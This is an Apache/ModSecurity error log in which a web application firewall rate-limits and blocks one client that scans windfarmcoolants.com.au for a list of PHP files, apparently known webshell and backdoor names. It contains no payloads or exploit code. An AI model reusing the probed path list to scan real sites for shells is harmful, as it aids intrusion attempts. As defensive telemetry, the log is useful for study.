[Fri Apr 24 02:15:47.557619 2026] [:error] [pid 65000:tid 65051] [client 74.234.74.247:6160] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aeph076vRb9j6psK2ZaLkQAAAhI"]
[Fri Apr 24 02:15:48.163310 2026] [:error] [pid 65000:tid 65039] [client 74.234.74.247:6219] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aeph1L6vRb9j6psK2ZaLlwAAAgY"]
[Fri Apr 24 02:15:48.726448 2026] [:error] [pid 65000:tid 65050] [client 74.234.74.247:1985] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aeph1L6vRb9j6psK2ZaLmwAAAhE"]
[Fri Apr 24 02:15:50.386166 2026] [:error] [pid 65000:tid 65054] [client 74.234.74.247:6188] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aeph1r6vRb9j6psK2ZaLqAAAAhU"]
[Fri Apr 24 02:15:50.999928 2026] [:error] [pid 64998:tid 65012] [client 74.234.74.247:6182] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aeph1oV5EysYcTLjmwg_xgAAAco"]
[Fri Apr 24 02:15:51.562474 2026] [:error] [pid 42972:tid 43029] [client 74.234.74.247:6245] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aeph18OAb-3sOknsk4fL4QAAAE0"]
[Fri Apr 24 02:15:52.092965 2026] [:error] [pid 59700:tid 59704] [client 74.234.74.247:2011] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aeph2JXyGZJFeAIDWtl8CgAAAUI"]
[Fri Apr 24 02:15:52.642087 2026] [:error] [pid 65000:tid 65042] [client 74.234.74.247:6173] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aeph2L6vRb9j6psK2ZaLuAAAAgk"]
[Fri Apr 24 02:15:53.223758 2026] [:error] [pid 42972:tid 43020] [client 74.234.74.247:6156] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aeph2cOAb-3sOknsk4fL4wAAAEQ"]
[Fri Apr 24 02:15:53.793394 2026] [:error] [pid 64998:tid 65008] [client 74.234.74.247:6153] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aeph2YV5EysYcTLjmwg_zAAAAcY"]
[Fri Apr 24 02:15:54.355128 2026] [:error] [pid 42972:tid 43021] [client 74.234.74.247:6206] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aeph2sOAb-3sOknsk4fL6QAAAEU"]
[Fri Apr 24 02:15:54.884103 2026] [:error] [pid 64998:tid 65016] [client 74.234.74.247:6243] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aeph2oV5EysYcTLjmwg_zgAAAc4"]
[Fri Apr 24 02:15:55.470905 2026] [:error] [pid 25635:tid 25649] [client 74.234.74.247:6237] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aeph28Rxv6UsgRGKB3JTeQAAAQo"]
[Fri Apr 24 02:15:56.624213 2026] [:error] [pid 64967:tid 64985] [client 74.234.74.247:6181] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aeph3IAV4GfOOdX8QzqbtQAAAZA"]
[Fri Apr 24 02:15:57.147653 2026] [:error] [pid 42973:tid 43055] [client 74.234.74.247:6178] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aeph3W6I0QqmmmLTHE2KagAAAIw"]
[Fri Apr 24 02:15:57.708233 2026] [:error] [pid 46953:tid 46956] [client 74.234.74.247:6203] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aeph3UnlpdHh-P6wKbp-PgAAAkA"]
[Fri Apr 24 02:15:58.274556 2026] [:error] [pid 64998:tid 65023] [client 74.234.74.247:2027] File does not exist: /usr/local/apache/htdocs/suspended-page/mode.php
[Fri Apr 24 02:15:58.570287 2026] [:error] [pid 64998:tid 65012] [client 74.234.74.247:2027] File does not exist: /usr/local/apache/htdocs/suspended-page/Xx.php
[Fri Apr 24 02:15:58.845755 2026] [:error] [pid 64998:tid 65020] [client 74.234.74.247:2027] File does not exist: /usr/local/apache/htdocs/suspended-page/xmini.php
[Fri Apr 24 02:15:59.219006 2026] [:error] [pid 64998:tid 65017] [client 74.234.74.247:2027] File does not exist: /usr/local/apache/htdocs/suspended-page/2468.php
[Fri Apr 24 02:15:59.783004 2026] [:error] [pid 64998:tid 65016] [client 74.234.74.247:2027] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Fri Apr 24 02:16:00.054984 2026] [:error] [pid 64998:tid 65007] [client 74.234.74.247:2027] File does not exist: /usr/local/apache/htdocs/suspended-page/amdin.php
[Fri Apr 24 02:16:00.329804 2026] [:error] [pid 64998:tid 65002] [client 74.234.74.247:2027] File does not exist: /usr/local/apache/htdocs/suspended-page/huya.php
[Fri Apr 24 02:16:00.601854 2026] [:error] [pid 64998:tid 65021] [client 74.234.74.247:2027] File does not exist: /usr/local/apache/htdocs/suspended-page/puc.php
[Fri Apr 24 02:16:00.875619 2026] [:error] [pid 64998:tid 65023] [client 74.234.74.247:2027] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Fri Apr 24 02:16:01.148815 2026] [:error] [pid 64998:tid 65012] [client 74.234.74.247:2027] File does not exist: /usr/local/apache/htdocs/suspended-page/ewp.php
[Fri Apr 24 02:16:02.777325 2026] [:error] [pid 64998:tid 65012] [client 74.234.74.247:2027] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aeph4oV5EysYcTLjmwg_6AAAAco"]
[Fri Apr 24 02:16:03.295523 2026] [:error] [pid 65000:tid 65031] [client 74.234.74.247:2021] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aeph476vRb9j6psK2ZaL1gAAAgI"]
[Fri Apr 24 02:16:03.862629 2026] [:error] [pid 64998:tid 65020] [client 74.234.74.247:6180] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aeph44V5EysYcTLjmwg_6QAAAdI"]
[Fri Apr 24 02:16:04.400685 2026] [:error] [pid 64998:tid 65006] [client 74.234.74.247:6162] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kikikoko.php"] [unique_id "aeph5IV5EysYcTLjmwg_7gAAAcQ"]
[Fri Apr 24 02:16:06.028000 2026] [:error] [pid 42973:tid 43048] [client 74.234.74.247:6200] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeph5m6I0QqmmmLTHE2KdQAAAIU"]
[Fri Apr 24 02:16:06.595876 2026] [:error] [pid 65000:tid 65051] [client 74.234.74.247:6244] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeph5r6vRb9j6psK2ZaL3QAAAhI"]
[Fri Apr 24 02:16:07.167412 2026] [:error] [pid 64998:tid 65019] [client 74.234.74.247:6260] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeph54V5EysYcTLjmwg_9AAAAdE"]
[Fri Apr 24 02:16:07.724559 2026] [:error] [pid 42973:tid 43053] [client 74.234.74.247:6225] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeph526I0QqmmmLTHE2KdwAAAIo"]
[Fri Apr 24 02:16:08.292350 2026] [:error] [pid 65000:tid 65046] [client 74.234.74.247:6189] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeph6L6vRb9j6psK2ZaL6AAAAg0"]
[Fri Apr 24 02:16:08.853609 2026] [:error] [pid 65000:tid 65045] [client 74.234.74.247:1949] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeph6L6vRb9j6psK2ZaL7QAAAgw"]
[Fri Apr 24 02:16:09.447817 2026] [:error] [pid 65000:tid 65054] [client 74.234.74.247:2026] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeph6b6vRb9j6psK2ZaL7gAAAhU"]
[Fri Apr 24 02:16:10.015007 2026] [:error] [pid 42972:tid 43038] [client 74.234.74.247:6257] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeph6sOAb-3sOknsk4fL-AAAAFY"]
[Fri Apr 24 02:16:10.568281 2026] [:error] [pid 46953:tid 46974] [client 74.234.74.247:6265] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aeph6knlpdHh-P6wKbp-SQAAAlI"]
[Fri Apr 24 02:16:11.093394 2026] [:error] [pid 42972:tid 43035] [client 74.234.74.247:1920] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aeph68OAb-3sOknsk4fL_QAAAFM"]
[Fri Apr 24 02:16:11.638723 2026] [:error] [pid 65000:tid 65041] [client 74.234.74.247:6229] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aeph676vRb9j6psK2ZaL8wAAAgg"]
[Fri Apr 24 02:16:12.191718 2026] [:error] [pid 65000:tid 65052] [client 74.234.74.247:2023] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aeph7L6vRb9j6psK2ZaL-QAAAhM"]
[Fri Apr 24 02:16:12.794188 2026] [:error] [pid 64998:tid 65007] [client 74.234.74.247:1943] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aeph7IV5EysYcTLjmwg_9wAAAcU"]
[Fri Apr 24 02:16:13.313411 2026] [:error] [pid 46953:tid 46961] [client 74.234.74.247:6157] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aeph7UnlpdHh-P6wKbp-UAAAAkU"]
[Fri Apr 24 02:16:13.909228 2026] [:error] [pid 43083:tid 43100] [client 74.234.74.247:6183] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aeph7TC5hrvNXosL83KxpgAAAM8"]
[Fri Apr 24 02:16:14.446672 2026] [:error] [pid 42973:tid 43059] [client 74.234.74.247:6196] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aeph7m6I0QqmmmLTHE2KfgAAAJA"]
[Fri Apr 24 02:16:15.030769 2026] [:error] [pid 46953:tid 46965] [client 74.234.74.247:1944] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aeph70nlpdHh-P6wKbp-WAAAAkk"]
[Fri Apr 24 02:16:15.631907 2026] [:error] [pid 43083:tid 43094] [client 74.234.74.247:2042] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aeph7zC5hrvNXosL83KxqgAAAMk"]
[Fri Apr 24 02:16:16.181159 2026] [:error] [pid 42971:tid 42988] [client 74.234.74.247:6186] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aeph8DEP2_5RswrH8bFT_gAAAAI"]
[Fri Apr 24 02:16:17.757416 2026] [:error] [pid 59700:tid 59720] [client 74.234.74.247:6223] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aeph8ZXyGZJFeAIDWtl8JQAAAVI"]
[Fri Apr 24 02:16:18.306798 2026] [:error] [pid 64967:tid 64978] [client 74.234.74.247:2010] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aeph8oAV4GfOOdX8QzqbvQAAAYk"]
[Fri Apr 24 02:16:18.847353 2026] [:error] [pid 59700:tid 59713] [client 74.234.74.247:6219] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aeph8pXyGZJFeAIDWtl8LQAAAUs"]
[Fri Apr 24 02:16:19.424208 2026] [:error] [pid 59700:tid 59718] [client 74.234.74.247:1990] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aeph85XyGZJFeAIDWtl8MwAAAVA"]
[Fri Apr 24 02:16:20.747360 2026] [:error] [pid 42973:tid 43063] [client 74.234.74.247:1989] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aeph9G6I0QqmmmLTHE2KhgAAAJQ"]
[Fri Apr 24 02:16:22.310989 2026] [:error] [pid 59700:tid 59708] [client 74.234.74.247:2004] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aeph9pXyGZJFeAIDWtl8QQAAAUY"]
[Fri Apr 24 02:16:22.872177 2026] [:error] [pid 42973:tid 43045] [client 74.234.74.247:1994] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aeph9m6I0QqmmmLTHE2KiAAAAII"]
[Fri Apr 24 02:16:23.458395 2026] [:error] [pid 25635:tid 25657] [client 74.234.74.247:2043] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aeph98Rxv6UsgRGKB3JTgAAAARI"]
[Fri Apr 24 02:16:23.995346 2026] [:error] [pid 42973:tid 43053] [client 74.234.74.247:2002] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aeph926I0QqmmmLTHE2KjwAAAIo"]
[Fri Apr 24 02:16:24.497180 2026] [:error] [pid 42973:tid 43060] [client 74.234.74.247:6184] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aeph-G6I0QqmmmLTHE2KkQAAAJE"]
[Fri Apr 24 02:16:26.063999 2026] [:error] [pid 46953:tid 46966] [client 74.234.74.247:1939] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aeph-knlpdHh-P6wKbp-aQAAAko"]
[Fri Apr 24 02:16:27.291212 2026] [:error] [pid 43083:tid 43108] [client 74.234.74.247:6151] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aeph-zC5hrvNXosL83KxsQAAANc"]
[Fri Apr 24 02:16:27.828095 2026] [:error] [pid 59700:tid 59705] [client 74.234.74.247:2030] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aeph-5XyGZJFeAIDWtl8RQAAAUM"]
[Fri Apr 24 02:16:29.567071 2026] [:error] [pid 25635:tid 25640] [client 74.234.74.247:6224] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeph_cRxv6UsgRGKB3JTiAAAAQE"]
